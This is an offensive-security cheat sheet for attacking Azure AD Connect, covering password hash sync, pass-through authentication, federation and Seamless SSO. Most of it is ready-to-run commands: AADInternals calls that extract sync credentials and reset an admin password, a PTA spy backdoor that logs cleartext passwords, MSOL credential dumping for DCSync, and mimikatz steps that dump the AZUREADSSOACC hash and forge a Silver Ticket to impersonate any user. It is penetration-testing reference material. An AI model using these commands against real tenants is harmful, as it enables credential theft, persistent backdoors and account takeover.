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Azure AD - AD Connect and Cloud Sync

Active Directory	Azure AD
LDAP	REST API'S
NTLM/Kerberos	OAuth/SAML/OpenID
Structured directory (OU tree)	Flat structure
GPO	No GPO's
Super fine-tuned access controls	Predefined roles
Domain/forest	Tenant
Trusts	Guests

Check if Azure AD Connect is installed : Get-ADSyncConnector

For PHS, we can extract the credentials
- Passwords from on-premise AD are sent to the cloud
- Use replication via a service account created by AD Connect
For PTA, we can attack the agent
- Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
For Federation, connect Windows Server AD to Azure AD using Federation Server (ADFS)
- Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
- extract the certificate from ADFS server using DA

Password Hash Synchronization

Get token for SYNC_* account and reset on-prem admin password

PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache

PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose

Pass-Through Authentication

Check if PTA is installed : Get-Command -Module PassthroughAuthPSModule

Install a PTA Backdoor

PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords

Federation

Golden SAML

AD Connect - Credentials

dirkjanm/adconnectdump - Dump Azure AD Connect credentials for Azure AD and Active Directory

Tool	Requires code execution on target	DLL dependencies	Requires MSSQL locally	Requires python locally
ADSyncDecrypt	Yes	Yes	No	No
ADSyncGather	Yes	No	No	Yes
ADSyncQuery	No (network RPC calls only)	No	Yes	Yes

ADSyncDecrypt: Decrypts the credentials fully on the target host. Requires the AD Connect DLLs to be in the PATH. A similar version in PowerShell was released by Adam Chester on his blog.
ADSyncGather: Queries the credentials and the encryption keys on the target host, decryption is done locally (python). No DLL dependencies.
ADSyncQuery: Queries the credentials from the database that is saved locally. Requires MSSQL LocalDB to be installed. No DLL dependencies. Is called from adconnectdump.py, dumps data without executing anything on the Azure AD connect host.

Credentials in ADSync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

AD Connect - DCSync with MSOL Account

You can perform DCSync attack using the MSOL account.

Requirements:

Compromise a server with Azure AD Connect service
Access to ADSyncAdmins or local Administrators groups

Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account:

azuread_decrypt_msol.ps1: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545
azuread_decrypt_msol_v2.ps1: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

AD Connect - Seamless Single Sign On Silver Ticket

Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account AZUREADSSOC is created in the on-prem AD.

⚠️ The password of the AZUREADSSOACC account never changes.

Using https://autologon.microsoftazuread-sso.com/ to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd.
```
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
```
AAD logon name of the user we want to impersonate, e.g. elrond@contoso.com. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.

Create the Silver Ticket and inject it into Kerberos cache:

mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

Launch Mozilla Firefox
Go to about:config and set the network.negotiate-auth.trusted-uris preference to value https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.

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